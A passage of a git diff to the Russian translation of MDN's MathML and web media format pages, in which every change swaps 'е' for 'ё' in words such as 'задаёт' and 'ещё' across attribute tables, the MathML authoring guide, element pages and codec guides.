    {{ MathMLElement("mtable") }}
-   Задает дополнительное пространство, добавленное между таблицей и frame.
+   Задаёт дополнительное пространство, добавленное между таблицей и frame.
   
   
    {{ unimplemented_inline() }} groupalign
@@ -189,7 +189,7 @@ original_slug: Web/MathML/Атрибут
   
    height
    {{ MathMLElement("mglyph") }}, {{ MathMLElement("mpadded") }}, {{ MathMLElement("mspace") }}
-   Задает желаемую высоту. Для возможных значений смотри длины.
+   Задаёт желаемую высоту. Для возможных значений смотри длины.
   
   
    href
@@ -239,7 +239,7 @@ original_slug: Web/MathML/Атрибут
   
    {{ unimplemented_inline() }} infixlinebreakstyle
    {{ MathMLElement("mstyle") }}
-   Задает стиль по умолчанию для linebreakstyle для использования в инфиксных операторах.
+   Задаёт стиль по умолчанию для linebreakstyle для использования в инфиксных операторах.
   
   
    largeop
@@ -334,7 +334,7 @@ original_slug: Web/MathML/Атрибут
   
    movablelimits
    {{ MathMLElement("mo") }}
-   Определяет, перемещаются ли присоединенные нижние и верхние индексы на позиции нижних и верхних индексов.
+   Определяет, перемещаются ли присоединённые нижние и верхние индексы на позиции нижних и верхних индексов.
   
   
    notation
@@ -399,7 +399,7 @@ original_slug: Web/MathML/Атрибут
   
    scriptminsize
    {{ MathMLElement("mstyle") }}
-   Задает минимальный размер шрифта, разрешённый из-за изменений в scriptlevel.
+   Задаёт минимальный размер шрифта, разрешённый из-за изменений в scriptlevel.
   
   
    scriptsizemultiplier
@@ -429,7 +429,7 @@ original_slug: Web/MathML/Атрибут
   
    {{ unimplemented_inline() }} side
    {{ MathMLElement("mtable") }}
-   Задает позицию, в которой {{ MathMLElement("mlabeledtr") }} должны быть размещены элементы метки.
+   Задаёт позицию, в которой {{ MathMLElement("mlabeledtr") }} должны быть размещены элементы метки.
   
   
    {{ unimplemented_inline() }} src
@@ -469,7 +469,7 @@ original_slug: Web/MathML/Атрибут
   
    width
    {{ MathMLElement("mglyph") }}, {{ MathMLElement("mpadded") }}, {{ MathMLElement("mspace") }}, {{ MathMLElement("mtable") }}
-   Задает желаемую ширину. Смотри длины для возможных значений.
+   Задаёт желаемую ширину. Смотри длины для возможных значений.
   
   
    xlink:href {{deprecated_inline}}
@@ -479,7 +479,7 @@ original_slug: Web/MathML/Атрибут
   
    xmlns
    {{ MathMLElement("math") }}
-   Задает URI для пространства имен MathML (http://www.w3.org/1998/Math/MathML)
+   Задаёт URI для пространства имён MathML (http://www.w3.org/1998/Math/MathML)
   
  
 
diff --git a/files/ru/web/mathml/authoring/index.html b/files/ru/web/mathml/authoring/index.html
index 765b420c47..f330d22d50 100644
--- a/files/ru/web/mathml/authoring/index.html
+++ b/files/ru/web/mathml/authoring/index.html
@@ -10,7 +10,7 @@ translation_of: Web/MathML/Authoring
 ---
 
        Эта страница объясняет, как записать математические выражения при помощи языка MathML. Подобно HTML, основными элементами языка MathML являются теги и атрибуты. Документ HTML становится сложным, когда он содержит структуры, подобные спискам или таблицам, но, к счастью, существует много генераторов на основе простых систем обозначений, WYSIWYG редакторы и другие системы управления контентом, помогающие создавать Web страницы.
        
 
-
        Математические обозначения еще более сложны со структурами такими, как дроби, квадратные корни или матрицы, которые, вероятно, потребуют собственных тегов. Поэтому инструменты разработки, связанные с MathML, очень важны. Некоторые из этих инструментов мы описываем ниже. В частности, команда Mozilla MathML разрабатывала TeXZilla (Javascript Unicode LaTeX-to-MathML конвертер), который предназначен для использования во многих сценариях, описанных здесь. Конечно, этот список ни в коем случае не является исчерпывающим и вам предлагается проверить W3C MathML software list, где вы можете найти некоторые другие инструменты.
        
+
        Математические обозначения ещё более сложны со структурами такими, как дроби, квадратные корни или матрицы, которые, вероятно, потребуют собственных тегов. Поэтому инструменты разработки, связанные с MathML, очень важны. Некоторые из этих инструментов мы описываем ниже. В частности, команда Mozilla MathML разрабатывала TeXZilla (Javascript Unicode LaTeX-to-MathML конвертер), который предназначен для использования во многих сценариях, описанных здесь. Конечно, этот список ни в коем случае не является исчерпывающим и вам предлагается проверить W3C MathML software list, где вы можете найти некоторые другие инструменты.
        
 
 
        Заметим, что MathML хорошо интегрирован в HTML5. В частности, вы можете использовать обычные Web-инструменты, такие как CSS, DOM, Javascript или SVG. Данная тема выходит за рамки этого документа, но любой, у кого есть базовые знания Web-языков, сможет легко совместить эти инструменты с MathML. Ознакомьтесь с нашими примерами и справочными данными по MathML для получения более подробной информации.
        
 
@@ -45,7 +45,7 @@ translation_of: Web/MathML/Authoring
 
 
        Варианты для браузеров без поддержки MathML
        
 
-
        К сожалению, некоторые браузеры не могут отображать выражения MathML или имеют ограниченную поддержку. Следовательно, вам нужно будет использовать полифил MathML, чтобы обеспечить некоторый резервный рендеринг. Если вам нужны только базовые математические конструкции, такие как те, которые используются в этой MDN wiki, тогда небольшой таблицы стилей mathml.css возможно будет достаточно. Для ее использования, просто вставьте одну строку в заголовок вашего документа:
        
+
        К сожалению, некоторые браузеры не могут отображать выражения MathML или имеют ограниченную поддержку. Следовательно, вам нужно будет использовать полифил MathML, чтобы обеспечить некоторый резервный рендеринг. Если вам нужны только базовые математические конструкции, такие как те, которые используются в этой MDN wiki, тогда небольшой таблицы стилей mathml.css возможно будет достаточно. Для её использования, просто вставьте одну строку в заголовок вашего документа:
        
 
 
        <script src="http://fred-wang.github.io/mathml.css/mspace.js"></script>
        
 
@@ -57,7 +57,7 @@ translation_of: Web/MathML/Authoring
 
 
        <script src="http://fred-wang.github.io/mathml-warning.js/mpadded-min.js"></script>
        
 
-
        Если вы не хотите использовать эту ссылку на GitHub, но вместо этого хотите интегрировать эти полифилы или нечто другое в свой проект, тогда вам может понадобиться скрипт, проверяющий уровень поддержки MathML. Например, следующая функция проверяет поддержку MathML путем тестирования элемента mspace (вы можете заменить mspace на mpadded):
        
+
        Если вы не хотите использовать эту ссылку на GitHub, но вместо этого хотите интегрировать эти полифилы или нечто другое в свой проект, тогда вам может понадобиться скрипт, проверяющий уровень поддержки MathML. Например, следующая функция проверяет поддержку MathML путём тестирования элемента mspace (вы можете заменить mspace на mpadded):
        
 
 
         function hasMathMLSupport() {
   var div = document.createElement("div"), box;
@@ -68,7 +68,7 @@ translation_of: Web/MathML/Authoring
   return Math.abs(box.height - 23) <= 1  && Math.abs(box.width - 77) <= 1;
 }
        
 
-
        В качестве альтернативы, следующий анализ строки UA позволит определить движок рендеринга с родной поддержкой MathML (Gecko и WebKit). Обратите внимание, что анализ строки UA является не самым надежным методом и может сбоить от версии к версии:
        
+
        В качестве альтернативы, следующий анализ строки UA позволит определить движок рендеринга с родной поддержкой MathML (Gecko и WebKit). Обратите внимание, что анализ строки UA является не самым надёжным методом и может сбоить от версии к версии:
        
 
 
        var ua = navigator.userAgent;
 var isGecko = ua.indexOf("Gecko") > -1 && ua.indexOf("KHTML") === -1 && ua.indexOf('Trident') === -1;
@@ -95,7 +95,7 @@ m|math {
 
 
        MathML в документах XML (XHTML, EPUB, и т.д.)
        
 
-
        Если по какой-то причине вам нужно использовать MathML в документах XML, обязательно выполняйте обычные требования: хорошо сформированный документ, использование правильного MIME-типа, пространство имен MathML "http://www.w3.org/1998/Math/MathML" с корневым элементом <math>. Например, версия XHTML предыдущего примера выглядит так:
        
+
        Если по какой-то причине вам нужно использовать MathML в документах XML, обязательно выполняйте обычные требования: хорошо сформированный документ, использование правильного MIME-типа, пространство имён MathML "http://www.w3.org/1998/Math/MathML" с корневым элементом <math>. Например, версия XHTML предыдущего примера выглядит так:
        
   
        
 
 
        <?xml version="1.0" encoding="UTF-8"?>
@@ -136,7 +136,7 @@ m|math {
   
          
    
        • Для написания математических выражений может потребоваться только стандартный текстовый редактор.
          • 
    
        • Доступны многие инструменты, некоторые из которых совместимы с классическим рабочим процессом LaTeX-to-pdf.
          • 
-   
        • Это дает доступ к расширенным возможностям макросов, подобных макросам LaTeX.
          • 
+   
        • Это даёт доступ к расширенным возможностям макросов, подобных макросам LaTeX.
          •
      22. минусы: @@ -161,7 +161,7 @@ m|math {
      23. минусы:
          -
        • Это не будет работать, если у пользователя отключен Javascript.
          • +
        • Это не будет работать, если у пользователя отключён Javascript.
        • Код MathML не поддерживается Web-сканерами (например, средствами математического поиска или новостными агрегаторами). В частности, ваш контент не будет отображаться правильно на Planet.
        • Конвертация должна выполняться при каждой загрузке страницы, может быть медленной и может конфликтовать с парсингом HTML (например, "<" для тегов или "$" для денежных сумм)
        • Возможно вам понадобится синхронизировать Javascript-конвертер с другими программами Javascript на вашей странице.
          • @@ -173,7 +173,7 @@ m|math { 
          <x-tex>\frac{x^2}{a^2} + \frac{y^2}{b^2} = 1</x-tex>
          -

          и автоматически преобразуется в MathML. Это все еще в процессе разработки и может быть улучшено в будущем благодаря Web-компонентам и DOM. Кроме того, вы можете использовать более традиционный Javascript парсинг выражений в процессе загрузки как это используют и все другие инструменты, описанные в этом разделе.

          +

          и автоматически преобразуется в MathML. Это все ещё в процессе разработки и может быть улучшено в будущем благодаря Web-компонентам и DOM. Кроме того, вы можете использовать более традиционный Javascript парсинг выражений в процессе загрузки как это используют и все другие инструменты, описанные в этом разделе.

          Одним из простых инструментов конвертации на стороне клиента является ASCIIMathML. Просто загрузите скрипт ASCIIMathML.js и скопируйте его на ваш Web-сайт. Затем на ваших веб-страницах добавьте тег <script> для загрузки ASCIIMathML и математические выражения, выделенные символом ` (знак акцента) будут автоматически обработаны и преобразованы в MathML:

          @@ -221,11 +221,11 @@ This is a sample LaTeXML document. </div> ... -

          jqMath - это еще один скрипт для парсинга простого LaTeX-подобного синтаксиса, который также принимает не-ASCII символы, такие как  √{∑↙{n=1}↖{+∞} 6/n^2} = π , чтобы написать ∑ n = 1 + ∞ 6 n 2 = π . Установка похожа: загрузите и скопируйте соответствующие файлы Javascript и CSS files на ваш Web сайт и сделайте ссылку на них в заголовке вашей страницы (смотрите файл COPY-ME.html из архива zip в качестве примера). Одним из преимуществ jqMath над предыдущими сценариями является то, что он автоматически добавит некоторые простые правила CSS для математической разметки и сделает формулы доступными для браузеров с ограниченной поддержкой MathML.

          +

          jqMath - это ещё один скрипт для парсинга простого LaTeX-подобного синтаксиса, который также принимает не-ASCII символы, такие как  √{∑↙{n=1}↖{+∞} 6/n^2} = π , чтобы написать ∑ n = 1 + ∞ 6 n 2 = π . Установка похожа: загрузите и скопируйте соответствующие файлы Javascript и CSS files на ваш Web сайт и сделайте ссылку на них в заголовке вашей страницы (смотрите файл COPY-ME.html из архива zip в качестве примера). Одним из преимуществ jqMath над предыдущими сценариями является то, что он автоматически добавит некоторые простые правила CSS для математической разметки и сделает формулы доступными для браузеров с ограниченной поддержкой MathML.

          Программы командной строки

          -

          Альтернативный способ - парсить простой синтаксис перед публикацией ваших Web-страниц. В этом случае вы используете программы командной строки для создания и публикации этих статических страниц на своем сервере.

          +

          Альтернативный способ - парсить простой синтаксис перед публикацией ваших Web-страниц. В этом случае вы используете программы командной строки для создания и публикации этих статических страниц на своём сервере.

          • плюсы: @@ -238,13 +238,13 @@ This is a sample LaTeXML document.
          • минусы:
            • Это требует установки программ на вашем компьютере, что может быть немного сложнее или они могут быть доступны не для всех платформ.
              • -
            • Вы должны запускать программы на своем компьютере и иметь какой-то рабочий процесс для получения веб-страниц в конце; это может быть немного утомительно.
              • +
            • Вы должны запускать программы на своём компьютере и иметь какой-то рабочий процесс для получения веб-страниц в конце; это может быть немного утомительно.
            • Двоичные программы не подходят для их интеграции в расширение Mozilla или приложение XUL.
          -

          TeXZilla может использоваться из командной строки и будет, по существу, иметь ту же поддержку, что и itex2MML, описанный ниже. Однако поведение фильтра потока еще не реализовано.

          +

          TeXZilla может использоваться из командной строки и будет, по существу, иметь ту же поддержку, что и itex2MML, описанный ниже. Однако поведение фильтра потока ещё не реализовано.

          Если вы хотите просто парсить простые математические выражения LaTeX, вы можете попробовать такие инструменты, как itex2MML или Blahtex. Последнее часто доступно в дистрибутивах Linux. Давайте рассмотрим первое, которое изначально было написано Полом Гартсайдом в начале проекта Mozilla MathML и с тех пор поддерживается Жаком Дистлером. Это небольшой фильтр потока, написанный на C/C++ и сгенерированный с помощью flex и bison; в частности, оно очень быстрое. Установите flex/bison, а также классический компилятор и сгенерируйте инструменты. В Unix вы можете загрузить itex2MML, скомпилировать и установить его:

          @@ -255,7 +255,7 @@ make sudo make install -

          Теперь предположим, что у вас есть HTML страница с фрагментами TeX, разделенными долларами:

          +

          Теперь предположим, что у вас есть HTML страница с фрагментами TeX, разделёнными долларами:

          input.html
 
@@ -272,7 +272,7 @@ sudo make install
 
 
          cat input.html | itex2MML > output.html
          
 
-
          Существуют еще более содержательные инструменты для преобразования произвольных документов LaTeX в HTML+MathML. Например, TeX4ht часто включается в дистрибутивы TeX и имеет возможность использовать MathML вместо изображений PNG. Эта команда создаст XHTML+MathML документ foo.xml из LaTeX исходника foo.tex:
          
+
          Существуют ещё более содержательные инструменты для преобразования произвольных документов LaTeX в HTML+MathML. Например, TeX4ht часто включается в дистрибутивы TeX и имеет возможность использовать MathML вместо изображений PNG. Эта команда создаст XHTML+MathML документ foo.xml из LaTeX исходника foo.tex:
          
 
 
             mk4ht mzlatex foo.tex # Linux/Mac platforms
    mzlatex foo.tex       # Windows platform
@@ -280,10 +280,10 @@ sudo make install
 
 
          Заметим, что tex4ebook опирается на TeX4ht для создания документов EPUB.
          
 
-
          LaTeXML - это еще один инструмент, который может создавать документы HTML5 и EPUB. Пользователи Windows могут посмотреть это видео-руководство. Для LaTeX файла foo.tex, вы можете использовать следующие простые команды:
          
+
          LaTeXML - это ещё один инструмент, который может создавать документы HTML5 и EPUB. Пользователи Windows могут посмотреть это видео-руководство. Для LaTeX файла foo.tex, вы можете использовать следующие простые команды:
          
 
-
            latexmlc --dest foo.html foo.tex # Создает HTML5 документ foo.html
-  latexmlc --dest foo.epub foo.tex # Создает EPUB документ foo.epub
          
+
            latexmlc --dest foo.html foo.tex # Создаёт HTML5 документ foo.html
+  latexmlc --dest foo.epub foo.tex # Создаёт EPUB документ foo.epub
          
 
 
          В случаях с браузерами без поддержки MathML, вы можете использовать параметр --javascript, чтобы сообщить LaTeXML о включении одного из дополнительных скриптов:
          
 
@@ -330,7 +330,7 @@ sudo make install
 
 
          Open Office Math
          
 
-
          Amaya - это Web-редактор от W3C, способный обрабатывать MathML внутри документов XHTML. Используйте элементы из Elements и панель Special Chars для создания различных продвинутых математических конструкций. Простой текст, такой как a+2, автоматически парсится и создается соответствующая разметка MathML. Как только вы закончите, вы сможете напрямую сохранить свою страницу XHTML и открыть ее в Mozilla.
          
+
          Amaya - это Web-редактор от W3C, способный обрабатывать MathML внутри документов XHTML. Используйте элементы из Elements и панель Special Chars для создания различных продвинутых математических конструкций. Простой текст, такой как a+2, автоматически парсится и создаётся соответствующая разметка MathML. Как только вы закончите, вы сможете напрямую сохранить свою страницу XHTML и открыть её в Mozilla.
          
 
 
          Распознавание видимых символов и рукописного текста
          
 
diff --git a/files/ru/web/mathml/element/maction/index.html b/files/ru/web/mathml/element/maction/index.html
index 6d60735b70..085ea66f3b 100644
--- a/files/ru/web/mathml/element/maction/index.html
+++ b/files/ru/web/mathml/element/maction/index.html
@@ -11,7 +11,7 @@ translation_of: Web/MathML/Element/maction
 
          {{MathMLRef}}
          
 
 
          
-
          Элемент MathML <maction> обеспечивает возможность связать действия с (под-) выражениями. Само действие задается с помощью атрибутаactiontype, который может принимать несколько значений. Чтобы указать каким дочерним элементам адресовано действие, вы можете использовать атрибут selection.
          
+
          Элемент MathML <maction> обеспечивает возможность связать действия с (под-) выражениями. Само действие задаётся с помощью атрибутаactiontype, который может принимать несколько значений. Чтобы указать каким дочерним элементам адресовано действие, вы можете использовать атрибут selection.
          
 
          
 
 
          Атрибуты
          
@@ -20,7 +20,7 @@ translation_of: Web/MathML/Element/maction
  
          actiontype
          
  
          Действие, которое устанавливает, что происходит с этим элементом. Возможные значения:
  
            
-  
          • statusline: Если кликнуть на выражении (expression) или читатель наведет курсор на него, сообщение (message) будет отправлено в строку состояния браузера. Синтаксис: <maction actiontype="statusline"> expression message </maction>.
            • 
+  
          • statusline: Если кликнуть на выражении (expression) или читатель наведёт курсор на него, сообщение (message) будет отправлено в строку состояния браузера. Синтаксис: <maction actiontype="statusline"> expression message </maction>.
            • 
   
          • toggle: Если кликнуть на подвыражении, рендеринг чередует отображение выбранных подвыражений. Поэтому с каждым кликом выбираемое значение меняется на следующее.
            
    Синтаксис: <maction actiontype="toggle" selection="positive-integer" > expression1 expression2 expressionN </maction>.
            • 
   
          • tooltip: Когда указатель перемещается над выражением (expression), рядом с выражением отображается всплывающая подсказка с сообщением (message).
            
diff --git a/files/ru/web/mathml/element/math/index.html b/files/ru/web/mathml/element/math/index.html
index b8c2c3238b..296daf9c32 100644
--- a/files/ru/web/mathml/element/math/index.html
+++ b/files/ru/web/mathml/element/math/index.html
@@ -26,18 +26,18 @@ translation_of: Web/MathML/Element/math
  
            Этот атрибут определяет способ вывода. Возможные значения:
  
              
   
            • block - означает, что этот элемент будет отображаться за пределами текущего диапазона текста, как блока, который может быть расположен в любом месте без изменения смысла текста;
              • 
-  
            • inline -означает, что этот элемент будет отображаться внутри текущего диапазона текста, и не могут быть перемещены из нее без изменения значения этого текста.
              • 
+  
            • inline -означает, что этот элемент будет отображаться внутри текущего диапазона текста, и не могут быть перемещены из неё без изменения значения этого текста.
              • 
  
            
 
  
            Значение по умолчанию inline .
            
  
            
- 
            mode {{ deprecated_inline() }} 
+ 
            mode {{ deprecated_inline() }} 
  
  
            
  
            Устаревшие значение  display attribute.
            
  Возможные значения: display (который имеет тот же эффект, как display="block" ) и inline .
            
  
            overflow
            
- 
            Определяет, как выражение ведет себя, если текст слишком длинный и не помещается в указанном диапазоне ширины.
            
+ 
            Определяет, как выражение ведёт себя, если текст слишком длинный и не помещается в указанном диапазоне ширины.
            
  Возможные значения: linebreak (по умолчанию), scroll , elide , truncate , scale .
            
 
 
diff --git a/files/ru/web/mathml/element/menclose/index.html b/files/ru/web/mathml/element/menclose/index.html
index 79c4c83179..45db068c2d 100644
--- a/files/ru/web/mathml/element/menclose/index.html
+++ b/files/ru/web/mathml/element/menclose/index.html
@@ -10,7 +10,7 @@ translation_of: Web/MathML/Element/menclose
 ---
 
            {{MathMLRef}}
            
 
-
            Элемент MathML <menclose> отображает свое содержимое во вложенной нотации, указанной атрибутом нотации.
            
+
            Элемент MathML <menclose> отображает своё содержимое во вложенной нотации, указанной атрибутом нотации.
            
 
 
            Атрибуты
            
 
@@ -24,7 +24,7 @@ translation_of: Web/MathML/Element/menclose
  
            mathcolor
            
  
            Цвет текста. Вы можете использовать #rgb, #rrggbb и HTML-имена цветов.
            
  
            notation
            
- 
            Список нотаций, разделенных пробелами, применяемых к дочерним элементам. Изображенные символы могут перекрываться. Возможные значения:
+ 
            Список нотаций, разделённых пробелами, применяемых к дочерним элементам. Изображённые символы могут перекрываться. Возможные значения:
  
@@ -61,7 +61,7 @@ translation_of: Web/MathML/Element/menclose
     
-    
+    
@@ -97,25 +97,25 @@ translation_of: Web/MathML/Element/menclose
     
-    
+    
-    
+    
-    
+    
-    
+    
diff --git a/files/ru/web/mathml/element/merror/index.html b/files/ru/web/mathml/element/merror/index.html
index 78db2d09bd..c10046e96b 100644
--- a/files/ru/web/mathml/element/merror/index.html
+++ b/files/ru/web/mathml/element/merror/index.html
@@ -10,7 +10,7 @@ translation_of: Web/MathML/Element/merror
 ---
 
            {{MathMLRef}}
            
 
-
            Элемент MathML <merror> используется для отображения содержимого в виде сообщений об ошибках. В Firefox это сообщение об ошибке отображается аналогично типичному сообщению об ошибке XML. Обратите внимание, что эта ошибка не выдается, если ваша разметка MathML неверна или неправильно сформирован XML. Вы все равно получите ошибку разбора XML (в случае XHTML-нотации MathML), которая не имеет ничего общего с <merror>.
            
+
            Элемент MathML <merror> используется для отображения содержимого в виде сообщений об ошибках. В Firefox это сообщение об ошибке отображается аналогично типичному сообщению об ошибке XML. Обратите внимание, что эта ошибка не выдаётся, если ваша разметка MathML неверна или неправильно сформирован XML. Вы все равно получите ошибку разбора XML (в случае XHTML-нотации MathML), которая не имеет ничего общего с <merror>.
            Атрибуты
            
 
diff --git a/files/ru/web/mathml/element/mover/index.html b/files/ru/web/mathml/element/mover/index.html
index bbc4005440..d047636c21 100644
--- a/files/ru/web/mathml/element/mover/index.html
+++ b/files/ru/web/mathml/element/mover/index.html
@@ -22,7 +22,7 @@ translation_of: Web/MathML/Element/mover
  Если установлено false (по умолчанию) over-script это ограничение по базовому выражению.
            align {{deprecated_inline}}
            Выравнивание над сценарием. Возможные значения: left, center, и right.
            
- Этот атрибут устарел и будет удален в будущем. Вместо этого используйте CSS text-align.
            
+ Этот атрибут устарел и будет удалён в будущем. Вместо этого используйте CSS text-align.
            class, id, style
            Предусмотрено для использования с таблицами стилей.
            displaystyle
            
diff --git a/files/ru/web/mathml/examples/deriving_the_quadratic_formula/index.html b/files/ru/web/mathml/examples/deriving_the_quadratic_formula/index.html
index 20ecb0b6a6..1b3016bca9 100644
--- a/files/ru/web/mathml/examples/deriving_the_quadratic_formula/index.html
+++ b/files/ru/web/mathml/examples/deriving_the_quadratic_formula/index.html
@@ -14,6 +14,6 @@ original_slug: Web/MathML/Примеры/Deriving_the_Quadratic_Formula
 ---
 
            На этой странице описывается вывод Квадратичной Формулы.
            
 
-
            Мы берем квадратное уравнение в его общем виде и решаем для х:
            
+
            Мы берём квадратное уравнение в его общем виде и решаем для х:
             a ⁢  x 2   +  b ⁢ x   +  c  = 0         a ⁢  x 2   +  b ⁢ x   = - c         x 2   +    b  a  ⁤ x   =   -c  a  Делим на главный коэффициент.           x 2   +    b  a  ⁤ x  +      b   2 a    2   =   - c ( 4 a )   a ( 4 a )    +     b 2    4  a 2   Дополняем до квадрата.         ( x  +    b   2 a  ) ( x  +    b   2 a  ) =    b 2   -  4 a c   4  a 2    Получен дискриминант.            ( x  +    b   2 a  )  2  =    b 2   -  4 a c   4  a 2               x  +    b   2 a   =     b 2   -  4 a c   4  a 2                x  =   -b   2 a  ±{C}     b 2   -  4 a c   4  a 2     Это основная формула.           x  =   -  b ±{C}   b 2   -  4 a c   2 a         
            
diff --git a/files/ru/web/mathml/examples/index.html b/files/ru/web/mathml/examples/index.html
index da9fd7af37..021f28be4b 100644
--- a/files/ru/web/mathml/examples/index.html
+++ b/files/ru/web/mathml/examples/index.html
@@ -9,7 +9,7 @@ tags:
 translation_of: Web/MathML/Examples
 original_slug: Web/MathML/Примеры
 ---
-
            Ниже Вы найдете некоторые примеры, которые помогут Вам понять, как использовать MathML для отображения более сложных математических понятий в веб содержимом.
            
+
            Ниже Вы найдёте некоторые примеры, которые помогут Вам понять, как использовать MathML для отображения более сложных математических понятий в веб содержимом.
            
  
            Теорема Пифагора
            
diff --git a/files/ru/web/mathml/examples/mathml_pythagorean_theorem/index.html b/files/ru/web/mathml/examples/mathml_pythagorean_theorem/index.html
index d3a140ec77..ee163d6e66 100644
--- a/files/ru/web/mathml/examples/mathml_pythagorean_theorem/index.html
+++ b/files/ru/web/mathml/examples/mathml_pythagorean_theorem/index.html
@@ -21,7 +21,7 @@ original_slug: Web/MathML/Примеры/MathML_Pythagorean_Theorem
 
 
            То есть, если aa и bb - катеты, а cc - гипотенуза, то a2+b2=c2a^2 + b^2 = c^2.
            
 
-
            Доказательство: Мы можем доказать теорему алгебраически, показав, что площадь большого квадрата равна площади внутреннего квадрата (квадрата гипотенузы) плюс площадь четырех треугольников:
            
+
            Доказательство: Мы можем доказать теорему алгебраически, показав, что площадь большого квадрата равна площади внутреннего квадрата (квадрата гипотенузы) плюс площадь четырёх треугольников:
            
 
 
            (a+b)2=c2+4⋅(12⋅ab)(a + b)^2 = c^2 + 4 \cdot \left( \frac{1}{2} \cdot ab \right) 
            
 
diff --git a/files/ru/web/media/formats/codecs_parameter/index.html b/files/ru/web/media/formats/codecs_parameter/index.html
index 284e64c550..4609de3553 100644
--- a/files/ru/web/media/formats/codecs_parameter/index.html
+++ b/files/ru/web/media/formats/codecs_parameter/index.html
@@ -1,5 +1,5 @@
 ---
-title: Параметр "codecs" для распространенных типов носителей
+title: Параметр "codecs" для распространённых типов носителей
 slug: Web/Media/Formats/codecs_parameter
 translation_of: Web/Media/Formats/codecs_parameter
 ---
@@ -15,7 +15,7 @@ translation_of: Web/Media/Formats/codecs_parameter
 
 
            Общий синтаксис
            
 
-
            Основной медиатип определяется установкой строкового значения  (audio, video, и т.д.), после которого идет символ слеша (/), затем указывается формат контейнера, который будет содержать информацию:
            
+
            Основной медиатип определяется установкой строкового значения  (audio, video, и т.д.), после которого идёт символ слеша (/), затем указывается формат контейнера, который будет содержать информацию:
            
 
 
            
  
            audio/mpeg
            
@@ -41,7 +41,7 @@ translation_of: Web/Media/Formats/codecs_parameter
  
            Файл MPEG-4 , содержащий  AVC (H.264) видео, Основной профиль, Уровень 4.2.
            
 
            
 
-
            Как и в случае с  любым параметром MIME типа , codecs должен заменяться на codecs* (обратите внимание на символ звездочки, *) , если какое-либо из свойств кодека использует специальные символы для указания дополнительной информации (языковые отметки, кодировка байтов в шестнадцатеричные значения и т.д.), входящие в {{RFC(2231, "MIME Parameter Value and Encoded Word Extensions", 4)}}. Можно использовать функции JavaScript {{jsxref("Global_Objects/encodeURI", "encodeURI()")}} для кодирования списка параметров, можно использовать   {{jsxref("Global_Objects/decodeURI", "decodeURI()")}} для декодирования предварительно закодированного списка параметров.
            
+
            Как и в случае с  любым параметром MIME типа , codecs должен заменяться на codecs* (обратите внимание на символ звёздочки, *) , если какое-либо из свойств кодека использует специальные символы для указания дополнительной информации (языковые отметки, кодировка байтов в шестнадцатеричные значения и т.д.), входящие в {{RFC(2231, "MIME Parameter Value and Encoded Word Extensions", 4)}}. Можно использовать функции JavaScript {{jsxref("Global_Objects/encodeURI", "encodeURI()")}} для кодирования списка параметров, можно использовать   {{jsxref("Global_Objects/decodeURI", "decodeURI()")}} для декодирования предварительно закодированного списка параметров.
            
 
 
            
 
             Когда используется параметр codecs, указанный список кодеков должен включать каждый кодек, используемый для содержимого файла Список также может содержать кодеки, которых нет в файле.
            
diff --git a/files/ru/web/media/formats/webrtc_codecs/index.html b/files/ru/web/media/formats/webrtc_codecs/index.html
index b7c15b90d1..b8fab2ec49 100644
--- a/files/ru/web/media/formats/webrtc_codecs/index.html
+++ b/files/ru/web/media/formats/webrtc_codecs/index.html
@@ -14,7 +14,7 @@ original_slug: Web/Media/Formats/WebRTC_кодеки
 
 
            WebRTC использует объект типа {{domxref("MediaStreamTrack")}} для представления каждого трека, передающегося между узлами соединения без использования контейнера или объекта типа {{domxref("MediaStream")}} , объединяющего треки. Какие кодеки могут быть в этих треках, спецификацией  WebRTC не определяется. Однако, {{RFC(7742)}} определяет, что все браузеры, поддерживающие WebRTC, должны поддерживать VP8 и H.264 ограниченный базовый профиль для видео; и {{RFC(7874)}} , определяющая, что браузеры должны поддерживать, по меньшей мере, кодеки Opus и G.711  форматов PCMA и PCMU.
            
 
-
            Эти две спецификации определяют свойства, которые должны поддерживаться каждым кодеком, а так же определенные функции для удобства использования, к примеру, функция эхоподавления. В этом руководстве происходит обзор кодеков, поддержка которых обязательна браузерам для реализации WebRTC, а так же иные (не обязательные) кодеки, поддерживаемые отдельными или всеми браузерами,.
            
+
            Эти две спецификации определяют свойства, которые должны поддерживаться каждым кодеком, а так же определённые функции для удобства использования, к примеру, функция эхоподавления. В этом руководстве происходит обзор кодеков, поддержка которых обязательна браузерам для реализации WebRTC, а так же иные (не обязательные) кодеки, поддерживаемые отдельными или всеми браузерами,.
            
 
 
            Хоть сжатие всегда и необходимо при работе со средствами массовой информации в Интернете, оно имеет дополнительное значение при проведении видеоконференций, чтобы участники могли общаться без задержек и перерывов. Второстепенное значение имеет необходимость синхронизации видео и звука, чтобы движения и любая вспомогательная информация (например, слайды или проекция) были представлены одновременно с соответствующим звуком
            
 
@@ -24,7 +24,7 @@ original_slug: Web/Media/Formats/WebRTC_кодеки
 
 
            Если {{Glossary ("SDP")}} специально не указывает иное, веб-браузер, принимающий видеопоток WebRTC, должен иметь возможность обрабатывать видео со скоростью не менее 20 кадров в секунду при минимальном разрешении 320 пикселей в ширину и 240 пикселей в высоту. Рекомендуется, чтобы видео кодировалось с частотой кадров и размером не ниже этого, поскольку это, по сути, нижняя граница того, что WebRTC обычно должен обрабатывать.
            
 
-
            SDP поддерживает независимый от кодеков способ указания предпочтительных разрешений видео ({{RFC (6236)}}). Это делается путем отправки a=imageattr атрибута SDP для указания максимально допустимого разрешения. Однако отправителю не требуется поддерживать этот механизм, поэтому вы должны быть готовы получать носители с другим разрешением, чем вы запрашивали. Помимо этого простого запроса максимального разрешения, определенные кодеки могут предлагать дополнительные способы запроса конкретных конфигураций мультимедиа.
            
+
            SDP поддерживает независимый от кодеков способ указания предпочтительных разрешений видео ({{RFC (6236)}}). Это делается путём отправки a=imageattr атрибута SDP для указания максимально допустимого разрешения. Однако отправителю не требуется поддерживать этот механизм, поэтому вы должны быть готовы получать носители с другим разрешением, чем вы запрашивали. Помимо этого простого запроса максимального разрешения, определённые кодеки могут предлагать дополнительные способы запроса конкретных конфигураций мультимедиа.
            
 
 
            Поддерживаемые видео кодеки
            
 
@@ -103,11 +103,11 @@ original_slug: Web/Media/Formats/WebRTC_кодеки
 
 
            Поддержка профиля AVC Constrained Baseline (CB) требуется во всех полностью совместимых реализациях WebRTC. CB является подмножеством основного профиля и специально разработан для приложений с низкой сложностью и малой задержкой, таких как мобильное видео и видеоконференции, а также для платформ с более низкими возможностями обработки видео..
            
 
-
            Наш обзор  AVC и его функциональности найдете в основном руководстве по видеокодекам.
            
+
            Наш обзор  AVC и его функциональности найдёте в основном руководстве по видеокодекам.
            
 
 
            Требования поддержки специальных параметров
            
 
-
